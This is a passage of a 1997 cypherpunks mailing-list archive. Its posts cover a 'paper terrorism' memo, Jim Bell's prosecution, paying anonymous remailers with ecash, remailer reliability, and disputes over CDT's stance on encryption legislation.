> >totalitarian government.   They  believe the time for traditional
> >political reform  has passed,  that their  freedom will  only  be
> >secured  by  resistance  to  the  law  and  attacks  against  the
> >government in several forms.
> >
> >Members of these groups bond to one another and lose contact with
> >other people who hold different opinions.  The isolation works to
> >reinforce their  views, which  in turn  gives them  new  purpose.
> >This new purpose may take ordinary ideas to extremes, rationalize
> >their problems  into blaming  government, and  cause  members  to
> >compete with each other to make stronger statements.
> >
> >
> >Trend and Incident Reporting
> >
> >If  you   become  victimized  by  paper  terrorism,  contact  the
> >Washington State  Patrol Organized  Crime  Intelligence  Unit  at
> >(360) 753-3277,  extension 121.   All  acts reaching  a  criminal
> >level should  be referred to your local law enforcement agency or
> >prosecutor's office.
> >
> >
> >[end transcript]
> >
> 
> --





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: GoStealth@DontRELYonAGIS.com
Date: Mon, 29 Sep 1997 10:39:11 +0800
To: cypherpunks@toad.com
Subject: Don't RELY On Bulk Email Servers! Bulk Email WORRY-FREE!
Message-ID: <199702170025.GAA08058@nowhere.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Mon, 29 Sep 1997 02:05:10 +0800
To: cypherpunks@Algebra.COM
Subject: horseman alert
In-Reply-To: <199709281555.KAA07727@manifold.algebra.com>
Message-ID: <Pine.GSO.3.95.970928135758.8537D-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain




#Date: Sun, 28 Sep 1997 16:48:55 +0300
#From: citydesk@iinsnews.com
#To: snsheadlines@ploni.virtual.co.il
#Subject: 9/28/97  -  III-116

		 "(IINS) Israel Internet News Service Ltd."
		Israel's Only 24-Hour Internet  News Service

Table of Contents

HAMAS USING THE INTERNET TO BROADCAST ATTACK INSTRUCTIONS	
...]				****	
 
 Hamas Using the Internet to Broadcast Attack Instructions 
 (IINS News Service -Israel-9/28)  According to the Foreign Report Weekly,
the Hamas terror organization is using the Internet to transmit information
pertaining to terror attacks.

The report states the information was confirmed by Israeli security
officials. 

Hamas is sending maps, pictures and other details pertaining to terror
attacks, using encryption methods. The General Security Service
(GSS/Shin-Bet) believes most of the data is being sent to the Hamas
worldwide center, located in Britain.

				****





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Mon, 29 Sep 1997 10:42:12 +0800
To: cypherpunks@toad.com
Subject: Re: write up AP for FC++
Message-ID: <199709282139.OAA07351@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:49 PM 9/27/97 -0700, James A. Donald wrote:
> > If you publish your idea in appropriate forums, you can get away with it.
> >
> > If you go from forum to forum singing your idea like a broken record, 
> > and flogging it like soap, you will probably go to jail.
> >
> > I see no point in explaining our ideas so thoroughly and repeatedly
> > that even cops and politicians start to understand them.

At 09:04 PM 9/27/97 -0500, Black Unicorn wrote:
> Try to keep in mind that Bell went to jail for crimes only semi-related to
> his AP ranting.

Not too many people face a lengthy period of imprisonment without trial,
followed by a lengthy period of imprisonment without sentence, for using
a false social security number and possession of a stink bomb.

Actually Jim Bell's greatest offence was being broke.  I have seen some
truly laughable convictions of people with public defenders.  He who pays
the piper calls the tune.  If you are charged with politically incorrect
crimes, and have a public defender, you have two prosecutors and no defender,
and under those circumstances a prosecutor could convict a dog of being
a ham sandwich, and have him sentenced to death by drowning in mustard.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0119.myriad.ml.org (Matthew Ghio)
Date: Mon, 29 Sep 1997 03:02:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <d9ad723431a59140b039a71c9cecc923@anon.efga.org>
Message-ID: <199709281854.OAA24329@myriad>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> I think someone did write the code.  I think it was Sameer, and I
> think he ran a remailer with this feature for a while.  I expect the
> code is on the berkeley ftp site somewhere.

Yes, it was a nymserver (omega.c2.org) where the user paid up front per
month per nym, and then for traffic over a certain amount.

Lucky Green wrote:
> You certainly could use DigiCash's software with Type 1 remailers. Though
> why anybody would want to pay for a service as insecure as Type 1
> remailers is beyond me. Type 1 remailers should be removed from service.
> 
> Furthermore, the barrier to entry is too high for the consumer. All these
> problems are about to be solved by third party software. Perhaps then we
> will see for-pay remailers.


What people often forget is that these structures tend to evolve thru
incremental changes rather than the immediate adoption of entirely new
paradigms.  The 'barrier to entry', is often the deciding factor.

omega.c2.org was a failure because, despite having features which
(nearly) everyone agreed were desirable, the up-front cost was too
high.  Shortly thereafter, I started a nymserver which, despite having
lower security and fewer features, featured a relatively low barrier
to entry.  This nymserver was so popular that it became the basis for
all the current nymservers.

Type-1 remailers were (and are) useful because they provided a system
which could be operated with low initial investment.  After providing
a proof-of-concept, they became the basis for PGP-enhanced remailers,
latency and reordering experiments, reply blocks, and finally mixmaster.

Various anonymous message pools were tried, and failed. 
alt.anonymous.messages worked because most people already have a
newsreader.

Same goes for blind ecash, DC-nets, secret-shared message pools, etc.
Despite our conceptual ability to describe the technology that we want,
we too often forget the cost of building the infrastructure to support
it.

So, assuming that for-pay remailers are the goal, how do we get there?
If attaching chaum-cash to remailer messages were the answer, everyone
would be doing it.  I think we need to look at the situation at a more
basic level.

Money can be defined as the lowest common denominator thing of value
shared by the greatest number of people.  (Does this describe Mark Twain
accounts?  No.)  So, how else might one pay for remailer usage?  Setting
up your own remailer is the obvious answer, but there are others, such
as selling cpu-cycles.

One potential scenario is "I'll let you use my remailer if you let me use
yours," where people earn remailer credits by remailing other people's
messages.  These remailer credits allow one to send anonymous messages
via other remailers.  Once these remailer-credits become sufficiently
valuable, they can be sold using whatever monetary system is popular at
the time.
 
Another potential scenario is to assume that a.a.m is going to continue
to grow until it becomes unwieldy.  Then people will have to pay someone
to store-and-forward the messages, or split it into smaller pools for
which people can provide their own support by running small news servers
on their machines.

Both of the above scenarios provide the desired end, which is that people
pay for their remailer usage, and neither involves the (unlikely) model
where people attach digicash to their remailer messages using the current
system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Mon, 29 Sep 1997 10:44:18 +0800
To: cypherpunks@toad.com
Subject: Message
Message-ID: <199709281255.OAA02545@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 27 Sep 1997 21:04:51 -0500 Black Unicorn foolishly blurted:

> Try to keep in mind that Bell went to jail for crimes only 
> semi-related to his AP ranting.

> The AP ranting is just the way he managed to attract attention.

Try to keep in mind that that is how the government plays the 
game, here and elsewhere. Even in countries that have laws
against irritating the government a hip regime always now tries
to prosecute for only semi-related or even completely unrelated
"crimes." Maybe you, too, could be found to have engaged in
juvenile activities like ordering noxious substances, much to 
your surprise and horror, after calling attention to yourself 
in a way that touches a sensitive spot on the body bureaucratic.
Although Bell might in fact be a complete idiot and have given
them the levers they needed to destroy him, it would be a 
grave mistake to assume that there is any truth at all to the
charges. This is political prosecution a la 1997 in the land of
the Freeh, home of the slave. In this climate the risk of 
expressing any opinion that touches government's hot buttons is
that you will be investigated. Being investigated can easily
ruin you, being charged almost certainly will -- both pre-trial 
punishments that make a mockery of the entire set of constitutional
protections against prosecutorial and judicial abuses. The modern
equivalent of the Crown's former ability to target someone with
a law is the ability of the government to mine a rich cache of
laws for the one that can circumstantially be applied to the
victim. The odd thing that works in their favor is that anyone
who practices as he preaches is more likely than others to have
vulnerabilities of the sort government looks for when targetting
him. It's one of those things that provides the black hats with
a heavy strategic advantage. Not that they're satisfied with 
that, of course. They'll use it, but they'll also black bag you,
maybe send in some orders in your name to chemical supply houses,
whatever it takes once you get on their list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Mon, 29 Sep 1997 10:39:33 +0800
To: Jonah Seiger <cypherpunks@toad.com>
Subject: Re: FCPUNX:In response to Declan's questions about crypto.com
Message-ID: <199709282213.PAA26939@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:09 PM 9/26/97 -0400, Jonah Seiger wrote:
> 4. CDT continues to support efforts to relax encryption export controls. 

And that is where you are wrong:

We need crypto legislation like we need nine inch nails hammered through
our skulls.

Any legislative attention to crypto is bad and dangerous, as we have been
saying for years, and has just been dramatically proven once again.

Business lobby groups are intermediaries, and therefore serve
two masters, both the politicians and the businessmen, not one
master.  Frequently they serve the interests of the politicians
at the expense of their donors, at the expense of the goals
that the lobby group is supposed to pursue.

> We also recognize the realities of politics.  No matter how much any of us
> might wish it to be true, members of the Commerce Committee were not
> willing to stand up and simply oppose everything. 

This is a bunch of crap:  It is highly likely that no bill will go
through.  Most bills die.   This bill should die.

Killing bills is always politically safer than passing them, doing 
nothing cannot get you into trouble.

>  It was not in the
> cards.  White and Markey offered them a chance to defeat Oxley while
> throwing a small bone to law enforcement.  We believe that passage of SAFE
> with the White-Markey amendment, despite the problems with the criminal
> provisions, is on balance, a step forward in the fight for encryption
> policy reform.

This is untrue and dishonest.  No bill at all is the best step forward,
and doing nothing is always easiest to attain.

> As always, I am happy to respond to queries about CDT's positions and
> tactics, but I am not interested in engaging in public flame throwing.

The CDT is ultimately a business lobby group, because it gets
most of its funding from businesses.  It is therefore potentially
subject to the same corruption as other business lobbies.

Business lobby groups are intermediaries, and therefore serve
two masters, both the politicians and the businessmen, not one
master.  Frequently they serve the interests of the politicians
at the expense of their donors, at the expense of the goals
that the lobby group is supposed to pursue.

Suppose for example you have a lobby group that
represents the widget industry.

On the one hand, the CEO of General Widgets might ring them up 
and say: "We are being trashed by these great japanese widgets, 
and unless something is done about it we might have to reduce 
prices or improve quality", and the lobby organization has a 
little chat with some tame politicians about the terrible 
suffering the Japanese are inflicting on American workers.   
That is the way lobby groups are supposed to work, but seldom do.

On the other hand sometimes the politician (or a
gofer on his staff), rings the lobby and says:  "I need a
million dollars fast:  What potential political action gets the
chairman of General Widgets waking up in a cold sweat in the
middle of the night?  What could destroy the widget industry, 
and yet be politically feasible?"  Shortly thereafter the 
lobbyist has a little chat with chairman of General Widgets 
about forthcoming legislation.  The lobby group
gets a big bag of money, some of which it passes on to
the politician, and the threatened legislation evaporates 
until the next election.

To be a successful lobby group, the CDT needs to get its
fingerprints on legislation, so that it can make threats and
promises to businessmen in the computer industry.

Thus the CDT's best interests as an organization are contrary
to our desires and contrary to the announced aims of the 
organization.  Legislation, any legislation, is in their 
interests and legislation, any legislation is against our 
interests.

Our interests, and the CDT's interest are opposed with no
apparent mutual good possible.

Now it is possible that the CDT is virtuously pursuing its
supposed goals, rather than its practical interests.  We should
consider the available evidence in order to infer what it is
in fact up to.

According to Dave Barry the word "politics" derives from the Greek 
"poly" meaning many, and "ticks" meaning small disgusting 
bloodsucking parasites.

In order to be well funded, the CDT needs government
regulation of the net.  The kind of regulation that would be
most effective in ensuring large donations would be regulation
that compels internet businessmen to lobby the government.
for example regulations that make impossible, inconsistent, and
contradictory requirements on those who provide software,
hardware, and services, for example a demand that big
companies police the net in ways that even governments would
find extremely difficult, such as the British child porn
crackdown, or legislation which if properly crafted would 
have the effect of giving some businessmen a monopoly of 
some aspect of the net, and putting other businessmen out 
of business,  for example legislation that requires case 
by case approval of software, or legislation that compels
the businessman to invade his customers privacy, and also
prohibits him from invading that privacy unless he has a
waiver issued by the state.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 29 Sep 1997 04:00:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <21baeb41178929e645fe1fc688d0b164@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Lucky Green wrote:
>On Sat, 27 Sep 1997, Anonymous wrote:
>> There also seems to be an idea that there is some big R&D investment
>> in adapting a remailer to use e-cash.  There isn't.  You have to open
>> an account at Mark Twain Bank.  You have to figure out how to call the
>> Digicash executable from within a Perl script.  (Since nobody has
>> corrected me on this, I am becoming confident that it is really as
>> easy as I think.)  Why not try it?  Worst case, you lose a little
>> time.  Best case, you get rich and the remailer network takes off.
>
>There are a number of technical reasons why you really don't want to call
>the standard commandline Ecash client from a script to add/retrieve Ecash
>from Mixmaster remailer packets. The biggest problem being that you can
>fit only a few coins into the packet header as specified. There is
>no feature in the standard Ecash client that allows coin level
>control. DigiCash firmly resited and continues to resist adding it. A
>$0.25 payment could be paid as three coins or as 25 coins. The user has no
>control over this. For this and a number of other reasons, DigiCash's
>software is unsuitable for the task.
>
>You certainly could use DigiCash's software with Type 1 remailers. Though
>why anybody would want to pay for a service as insecure as Type 1
>remailers is beyond me. Type 1 remailers should be removed from service.

Nonsense.  Type 1 remailers offer a certain level of security.  It is
suitable for many applications.  Type 1 remailers require a fairly
determined attacker to thwart.  They would certainly keep you safe
from the IRS, but maybe not the NSA.

Even if you were running a child kidnapping ring and failing to report
the income, you would be pretty safe using Type 1 remailers.  The NSA
would never take the chance of revealing their capabilities just to
save a few kids.

In this instance, Type 1 remailers offer a real benefit in that it is
easy to extend them with new features, such as accepting payment.

> Furthermore, the barrier to entry is too high for the consumer.

Correction: for many consumers.  The barrier for entry is not too high
for the hard core "privacy extremists" of the cypherpunks list.  And,
were there a sizeable number of goods and services purchasable using
ecash, you might discover many consumers did not find it too high a
barrier to entry.  Getting ecash is certainly easier than getting a
credit card.

>All these problems are about to be solved by third party
>software. Perhaps then we will see for-pay remailers.

Maybe, but today this is vaporware.  In my experience, plans based on
vaporware are unreliable.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 29 Sep 1997 04:03:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Digital Postage (fwd)
Message-ID: <db8beb4ba96edeb769df76f1ee41f8b9@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate wrote:
>> Ecash is in place right now.
>
>True, but there are only 3 systems and it is not clear at all which
>will dominate and be used by all parties.

No, there is only one system which provides anonymity.  It's called ecash.
The other systems do not have the features we want.

There is a commonly held belief that one form of payment or another
must dominate.  This is an artifact of laws which require a society to
use one type of payment.  Historically there have been a wide variety
of different currencies, just as there has been a wide variety of any
"commodity."

>Also there is the issue of security in regards to maintaning
>anonymity when there is such a small pool of parties to use. Doesn't
>take a genius to figure out where to hang out and watch the action.

Do you mean watch the bank and see who is using e-cash?  That might
tell you who is using remailers, but not much else.

>> > -  how do you charge for the postage, per submission? What happens when
>> >    I want to send 10,000 parties the email. Do I still pay the digi-postage
>> >    equivalent of $.35? Or do I pay $350.00?
>> 
>> This is easily worked out between the remailer operator and the
>> customer.
>
>How? There is certainly no clear mechanism in place. Does the
>customer contact each remailer operator prior to sending the traffic,
>thus opening up N opportunities for anonymity cracking.

Can do!  Remailer operators can easily advertise what they sell and
how much it costs without compromising the customer the same way they
advertise their remailer and its features now.

Price setting is a black art.  People running businesses make
decisions based on talking to potential customers, pilot marketing
tests, and common sense.

I recommend that people start pricing at a quarter per message per hop
because it is easier to move prices down than to move them up.

Besides, the remailer operators have been doing all the work while a
bunch of free loaders like Monty Cantsin use their services and then
carp about it.  It seems fair for us to shoot some money towards the
operators for a change.

>If the operators agree to a system how do we get there? Is it time to have a
>anon-remailer conference to settle on distributed payment schemes?

Absolutely not.  The remailers certainly don't have to charge the same
rates.  Each remailer operator should use a pricing scheme that works
for them.

>> Were I running a remailer, I would charge $350.00.  As a customer,
>> I would not see this as unreasonable.
>
>Unless it is pertty serious nobody is going to pay such a fee just to
>send an email around.

What is being sold is privacy and security, not e-mail transport.  It
has great value to me and many cypherpunks.  If you don't value it,
that's your business.

>The problem I see is one of scale. The infrastructure for handling
>physical mail is very 'bulky' and requires a lot infrastructure.

>Email on the other hands effectively rides on the back of an existing
>Internet infrastructure for nearly free.

You are confusing one cost of doing business with the price the market
will bear.

>Because of the historicaly low cost for email this would tend to in
>general indicate a low market value on anon remailers.

Not to people who care about their privacy.  But, I agree that the
price per hop will likely drop far below a quarter, not because people
won't pay more, but because they won't have to.  If it's basically
inexpensive to provide remailer services (and it is), price
competition should reduce the costs.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Sep 1997 05:00:56 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Digital Postage (fwd)
Message-ID: <199709282104.QAA09234@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 28 Sep 1997 15:52:22 -0400
> From: Anonymous <anon@anon.efga.org>
> Subject: Re: Digital Postage (fwd)

> Jim Choate wrote:
> >> Ecash is in place right now.
> >
> >True, but there are only 3 systems and it is not clear at all which
> >will dominate and be used by all parties.
> 
> No, there is only one system which provides anonymity.  It's called ecash.
> The other systems do not have the features we want.

Yes, but it does not have a clear market advantage. In fact the anonymity
issue may actualy work against it.

> There is a commonly held belief that one form of payment or another
> must dominate.

I can assure you that any business will not use multiple protocols unless
their interface is the same for all of them. There simply isn't enough
business to have very many systems.

Ask yourself this, how attractive would the Internet have been if it had
required users to install and manage multiple communications protocols for
every connection?

> This is an artifact of laws which require a society to
> use one type of payment.  Historically there have been a wide variety
> of different currencies, just as there has been a wide variety of any
> "commodity."

Different currenciens don't mean different payment systems. Even though we
have dollars, yen, rubels, etc. the things people do with them and the
way the systems are built are pretty much the same. This is why
international business works in the first place; they got banks, we got
banks. If I can buy a Quarter Pounder (Le Royale) in the US I figure I
can work it out in Russia.

> >Also there is the issue of security in regards to maintaning
> >anonymity when there is such a small pool of parties to use. Doesn't
> >take a genius to figure out where to hang out and watch the action.
> 
> Do you mean watch the bank and see who is using e-cash?  That might
> tell you who is using remailers, but not much else.

But who is using the remailers is the point in traffic analysis if I'm
not mistaken. Not very anonymous if they know who you are.

> >> This is easily worked out between the remailer operator and the
> >> customer.
> >
> >How? There is certainly no clear mechanism in place. Does the
> >customer contact each remailer operator prior to sending the traffic,
> >thus opening up N opportunities for anonymity cracking.
> 
> Can do!  Remailer operators can easily advertise what they sell and
> how much it costs without compromising the customer the same way they
> advertise their remailer and its features now.

Can do what? Anonymity cracking or create a payment system that allows
for the intermediate parties to be paid but doesn't over-burden the
user? The point is not to have the poor end user have to create a half-
dozen payment arrangements to get chaining. It becomes a real hassle to
do at that point. We're talking about the people that drive the one block
to the store to get more beer...

> I recommend that people start pricing at a quarter per message per hop
> because it is easier to move prices down than to move them up.

This is the silliest thing I think I have heard so far in this
discussion.

A quarter a message per hop is about 2,000+ times too expensive to make
anonymous remailers work. The key to anonyous remailers is not the
cost per message but rather the amount of traffic to be carried.
Anonymous remailers are beasts of mass markets measured in millions of
recipients.

And my experience is that prices move up and people expect them to.

> >If the operators agree to a system how do we get there? Is it time to have a
> >anon-remailer conference to settle on distributed payment schemes?
> 
> Absolutely not.  The remailers certainly don't have to charge the same
> rates.  Each remailer operator should use a pricing scheme that works
> for them.

But the system to post charges BETWEEN remailers must be pretty consistent
to be acceptable. That is the key and it has NOT been discussed too any
great degree. That inter-remailer traffic must be anonymous also or else
traffic analysis can back-track.

It seems to me that the remailers need some sort of anonymous payment
server that is put in place for some other reason, that way they don't
have to deal with the justification issue. The most obvious issue where
anonymous purchasing would be of interest to the regular consumer is to
prevent the collection of information about them through their purchases.

Perhaps what we need is a business which purchases things as an agent of
its members and then distributes them through some anonymous tracking
system. That way the only stats collected by retailers are those of the
aggregate purchasing requests. Then a member could request the purchase
of some credit line on a remailer. The remailers could become members of
such a system and purchase credit lines on each other to deal with chaining
payment issues.

> >Unless it is pertty serious nobody is going to pay such a fee just to
> >send an email around.
> 
> What is being sold is privacy and security, not e-mail transport.  It
> has great value to me and many cypherpunks.  If you don't value it,
> that's your business.

What is being sold is anonymity. It does not necessarily provide
privacy and may in fact decrease your security.

> >The problem I see is one of scale. The infrastructure for handling
> >physical mail is very 'bulky' and requires a lot infrastructure.
> 
> >Email on the other hands effectively rides on the back of an existing
> >Internet infrastructure for nearly free.
> 
> You are confusing one cost of doing business with the price the market
> will bear.

How? What I am saying is that physical mail and the system developed for
dealing with it went hand-in-hand. The design and advancement of the
Internet technology is not driven by email or it's technology. That perhaps
because of this difference perhaps we need to look at models other than
the postage one. It in fact may be coloring our perception and a look at
alternative models might help.

> >Because of the historicaly low cost for email this would tend to in
> >general indicate a low market value on anon remailers.
> 
> Not to people who care about their privacy.  But, I agree that the
> price per hop will likely drop far below a quarter, not because people
> won't pay more, but because they won't have to.  If it's basically
> inexpensive to provide remailer services (and it is), price
> competition should reduce the costs.

The remailer itself is cheap, it's the rest of the system that needs working
on.

Furthermore, most people who want privacy aren't going to be saying
anything anyway, anonymous or otherwise. The people who will use anonymous
remailers are people who have something to say but for one reason or another
don't wan't it tied to them personaly. It's not privacy but 'plausible
deniability' they are looking for.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 29 Sep 1997 04:24:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <ccbc9adab2fcbebd2a5e59e54cb287dc@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Steve Schear wrote:
>>Digicash has software for Unix platforms which one could very easily
>>call from a Perl script.  Sure, it wouldn't be pretty, it wouldn't
>>be ideal, but it would work and should be easy to incorporate into
>>many of the remailers.  (I think.)
>
>True, but then the remailer's income would be available to LE, since
>payee anonymity isn't supported by DC.  Accountless operation is by
>far a better alternative for some business.

Agreed.  But this is a feature to be added later, not one to stop us
from using ecash now.

I would also note that LE is not the only group of people that might
be interested.  Aside from various spook agencies (which are not law
enforcement agencies), there are all sorts of other scary people in
the world who should be kept out of one's financial affairs.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 29 Sep 1997 05:07:07 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Memo From Washington Gestapo Tyranny
Message-ID: <b4bced44e1de142bb0856ff2a47036d2@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Igor Chudov wrote:
>In misc.survivalism, Anonymous wrote:
>...
>FROM:     Representative Karen Schmidt, Chairman [sic]
>          Organized Crime Advisory Board
>
>>SUBJECT:  Paper Terrorism

My hat's off to the genius who perpetrated this hoax.  They got the
government lingo down so well that for a second I actually thought it
was real!

Note the total disregard for the law:
>>*    Distributing the  extremist Citizens Handbook to foster jury
>>     nullification.

Or this wonderful excerpt which confuses real terrorism
("Assassination Politics") with paper terrorism, just like reporters
and politicians do all the time:
>*    using the  Internet  to  promote  extremist  ideas  such  as
>     "Assassination Politics"  or predicting the date of death of
>     a law  enforcement officer  or government  official to win a
>     cash price.

Or this section, which is clearly intended as a parody of the FBI.
(Brilliant!):
>This new purpose may take ordinary ideas to extremes, rationalize
>their problems into blaming government, and cause members to compete
>with each other to make stronger statements.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 29 Sep 1997 05:11:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer latencies
Message-ID: <8b648aa61709b5c33e4397393b2e5c09@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

David E. Smith wrote:
>> If so, what accounts for these message losses?  I would expect that
>> if your machine was down, even for a couple of days, that the
>> incoming messages would be queued up on other machines and none
>> would be lost.
>
>It's more like "of the last 1000 messages sent, 9964 of 'em have made
>it back to me."  Because of the way I have to have things set up,
>there are almost always a few messages in transit. I have, very
>occasionally, actually seen my remailer listed at 100%; somewhere
>over 99% is far more common.

But, presumably Raph waits awhile for the message before deciding the
machine is down?  If I understand correctly, you are saying that
messages don't actually disappear, but they are sometimes delayed for
longer than the two days Raph waits* for them to come back.

(* Assumption made on the basis that his timing data doesn't describe
any delays longer than two days.)

>For me, the remailer doesn't consume any exceptional new resources,
>so the added cost to me of running a remailer is very nearly zero.
>(Those are mostly the "administrative" costs of dealing with
>complaints, adding people to the blocklist, and cleaning up after the
>occasional spam bomb.)  Others, with different circumstances, may be
>more eager to pursue a profit-making solution.

It could cover the cost of that second line.  ;-)

If you haven't tried ecash, you might enjoy it.  Setting up your
remailer to accept it is a lot easier than you might think.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 29 Sep 1997 05:16:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
Message-ID: <89bca20c4c4e7e17eddcd9e11f3b5f69@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert A. Costner wrote:
>The downtime statistic is more an indication of when email has to be
>sent more than once to get to Redneck.  Apparently this is 17 out of
>1,000 messages on the average.  To be honest, I don't really know how
>the stats program works, I'm just assuming this is what is being
>checked.

If the downtime statistic reflects connection failures it isn't that
useful.  This sort of problem is relatively common on the Net and is
handled automatically.  I strongly suspect it really does reflect
disappeared messages.

Does anybody know how Raph's stats are collected?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Mon, 29 Sep 1997 01:22:38 +0800
To: cypherpunks@Algebra.COM
Subject: quote
Message-ID: <199709281711.TAA07906@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




Igor Chudov contributed a quote from some government manual:


>These anti-government  extremists and  supporters  are  convinced
>citizens  are  being  systematically  oppressed  by  an  illegal,
>totalitarian government.   They  believe the time for traditional
>political reform  has passed,  that their  freedom will  only  be
>secured  by  resistance  to  the  law  and  attacks  against  the
>government in several forms.
>
>Members of these groups bond to one another and lose contact with
>other people who hold different opinions.  The isolation works to
>reinforce their  views, which  in turn  gives them  new  purpose.
>This new purpose may take ordinary ideas to extremes, rationalize
>their problems  into blaming  government, and  cause  members  to
>compete with each other to make stronger statements.



Couldn't've said it better myself.


I see the same pattern in cypherpunks and in my non- (or 
barely-) 'Netted extremist friends of the right, the 
libertarian, and the left varieties.


I've argued with myself for years about whether the spread of 
the Net would connect these people back to their fellow humans,
by offering uncensorable, violence-free communication channels,
or whether it help them to make virtual communities consisting
solely of people who reinforce their own beliefs.


I'm still hoping for the former...


Z, hopeful cynic





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Mon, 29 Sep 1997 10:53:46 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: FCPUNX:CDT complains to my editors after post to cypherpunks
Message-ID: <199709290228.TAA23436@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:34 AM 9/26/97 -0700, Tim May wrote:
> The larger issue is that the CDT/VTW "players" are showing their
> willingness to trade away the civil liberties of us all for a few minor
> tidbits thrown (they think) to corporate sponsors.

In fact, the problem is not corporate sponsors.  Rather the problem is
that lobbying groups often tend to get captured by the government.  They want
to get their fingerprints on legislation, so that they can extort money
from their corporate sponsors, and are therefore eager to do the politicians 
bidding in any way whatever in order that they can get their fingerprints on
any 
legislation whatever.

This problem is unrelated to civil liberties issues.  Lobby groups for
the milk industry, small business, etc, are infamous for selling out the
interests of the businesses that support them.

I am not saying that the CDT is guilty of this, but the fact it persists
in trying to get legislation passed under present circumstances should 
not only alarm civil libertarians, it should also alarm big business.

> Those who work near Washington tend to get pulled into this power vortex.
> They become functionaries, advisors, consultants, lobbyists, or even,
> sometimes, elected politicians themselves.
>
> This is probably why EFF belatedly realized that their soul was being lost
